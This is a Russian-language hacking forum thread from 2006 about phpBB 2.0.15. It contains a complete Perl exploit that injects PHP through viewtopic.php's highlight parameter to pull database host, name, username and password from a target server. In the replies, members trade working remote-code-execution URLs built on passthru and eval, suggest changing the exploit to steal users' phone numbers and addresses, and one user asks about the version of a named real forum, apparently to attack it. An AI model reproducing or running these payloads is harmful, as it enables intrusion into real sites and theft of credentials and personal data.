Форумы Уязвимости phpBB 2.0.15

Discussion in 'Уязвимости CMS/форумов' started by Qpet, 25 Apr 2006.

  1. Qpet

    Qpet New Member

    Joined:
    2 Aug 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Вообще, вот нашёл сплойт:
    Code:
    #!/usr/bin/perl
    
    # tested and working /str0ke
    
    #        ********************************************************************
    #       **********************************************************************
    #      ****                                                                 **
    #     ***      ******       *******************                             **
    #    ***    ***   ****   ***********************                            **
    #   ***   ***     ****                       ****      *   ***    *****     **
    #  ***   ***      ***                ***     ***      *  **  **   **        **
    # ***   ***                         ***      **         **   **  **         **
    #***   ***                          ***    ***          **   **  *****      **
    #**   ***                          ***  ****           **   **      **      **
    #**   ***       ***  ***   ******* *******             **  ***      **      **
    #**   ***      ***   ***  **      *** ***              **  **  **  **       **
    #**  ***      ***   ***  **      ***  ***               ***   *****         **
    #**   ***     ***   *** **       ***  ***                                   **
    #**   ****   ***    ****        ***   ***                                   **
    #**     *******    ****   ********     ***********************************  **
    #**         ***                                                             **
    #**        ***                                                              **
    #**                                                                         **
    #**      phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability     **
    #**      This exploit gives the user all the details about the database     **
    #**      connection such as database host, username, password and           **
    #**      database name.                                                     **
    #**                                                                         **
    #**              Written by SecureD,  gvr.secured<AT>gmail<DOT>com,2005     **
    #**                                                                         **
    #**      Greetings to GvR, Jumento, PP, CKrew & friends      		        **
    #**                                                                         **
    #***************************************************************************** 
    # ***************************************************************************
    
    use IO::Socket;
    
    print "+-----------------------------------------------------------------------+\r\n";
    print "|           PhpBB 2.0.15 Database Authentication Details Exploit        |\r\n";
    print "|                 By SecureD gvr.secured<AT>gmail<DOT>com               |\r\n";
    print "+-----------------------------------------------------------------------+\r\n";
    
    if (@ARGV < 3)
    {
    print "Usage:\r\n";
    print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
    print "SERVER         - Server where PhpBB is installed.\r\n";
    print "DIR            - PHPBB directory or / for no directory.\r\n";
    print "THREADID       - Id of an existing thread.\r\n";
    print "COOKIESTRING   - Optional, cookie string of the http request.\r\n";
    print "                 Use this when a thread needs authentication for viewing\r\n";
    print "                 You can use Firefox in combination with \"Live HTTP\r\n";
    print "                 Headers\" to get this cookiestring.\r\n\r\n";
    print "Example 1 (with cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
    print "Example 2 (without cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
    exit();
    }
    
    $serv 		= $ARGV[0];
    $dir 		= $ARGV[1];
    $threadid 	= $ARGV[2];
    $cookie 	= $ARGV[3];
    
    $serv 		=~ s/http:\/\///ge;
    $delimit 	= "GvRSecureD";
    
    $sploit	 = $dir . "viewtopic.php?t=";
    $sploit .= $threadid;
    $sploit .= "&highlight='.printf($delimit.";
    $sploit .= "\$dbhost.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbname.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbuser.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbpasswd.";
    $sploit .= "$delimit).'";
    
    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
    
    print "[+] Connecting      OK\n";
    sleep(1);
    
    print "[+] Sending exploit ";
    print $sock "GET $sploit HTTP/1.1\r\n";
    print $sock "Host: $serv\r\n";
    if ( defined $cookie) {
    	print $sock "Cookie: $cookie \r\n";
    }
    print $sock "Connection: close\r\n\r\n";
    
    
    $succes = 0;
    
    while ($answer = <$sock>) {
    	$delimitIndex = index $answer, $delimit;
    	if ($delimitIndex >= 0) {
    		$succes = 1;
    		$urlIndex = index $answer, "href";
    		if ($urlIndex < 0){
    			$answer = substr($answer, length($delimit));
    			$length = 0;
    			while (length($answer) > 0) {
    				$nex = index($answer, $delimit);
    				if ($nex > 0) {
    					push(@array, substr($answer, 0, $nex));
    					$answer = substr($answer, $nex + length($delimit), length($answer));
    				} else {
    					$answer= "";
    				}
    			}
    		}
    	}
    }
    
    close($sock);
    
    if ($succes == 1) {
    	print "OK\n";
    	sleep(1);
    	print "[+] Database Host:  " . $array[0] . "\n";
    	sleep(1);
    	print "[+] Database Name:  " . $array[1] . "\n";
    	sleep(1);
    	print "[+] Username:       " . $array[2] . "\n";
    	sleep(1);
    	print "[+] Password:       " . $array[3] . "\n";
    	sleep(1);
    } else {
    	print "FAILED\n";
    }
    
    # milw0rm.com [2005-07-03]
    После запуска выдаёт пустые строки с паролем и именем, пожскажите, что тут изменить, что бы он нормально данные выдал? Если кто поможет - буду ОЧЕНЬ БЛАГОДАРЕН! :eek:
     
  2. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    --> Remote Code Execution Vulnerability

    Нельзя-ли хоть немного технический английский подучить?

    http://site.com/viewtopic.php?t=14&cmd=ls -la&highlight='.passthru($HTTP_GET_VARS[cmd]).'
     
    #2 Azazel, 25 Apr 2006
    Last edited: 25 Apr 2006
  3. Qpet

    Qpet New Member

    Joined:
    2 Aug 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Строчка эта неподходит :(
     
  4. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Отправлю в поиск
     
  5. Qpet

    Qpet New Member

    Joined:
    2 Aug 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    А может лучше сразу поможешь :( :( :( ?
     
  6. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Пароль и логин выдает? Выдает. А телефон домашний и адрес он не выдаст - его править надо. Напиши вместо строк password tel. (или Adress) - выдаст. Таким образом можно любую информацию утянуть.
     
  7. volone

    volone New Member

    Joined:
    6 Jun 2006
    Messages:
    24
    Likes Received:
    3
    Reputations:
    11
    я так и не понял суть етого бага
    http://*******.ru/forum/viewtopic.php?t=14&cmd=ls-la&highlight='.passthru($HTTP_GET_VARS[cmd]).'
    когда я делаю ето просто открывается страница указанного топика в "t"
    Где смотреть результат и что из результата брать ?
     
  8. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    между ls и -la пробел стоит
    и правильней делать
    http://*******.ru/forum/viewtopic.php?t=14&cmd=phpinfo();&highlight='.eval($HTTP_GET_VARS[cmd]).'

    это наслучай сейф мода
     
  9. Brosswil

    Brosswil New Member

    Joined:
    27 Jun 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Народ, а подскажите версию форума пожалуйста http://forum.masterlink.ru/
     
    #9 Brosswil, 28 Jun 2006
    Last edited: 29 Jun 2006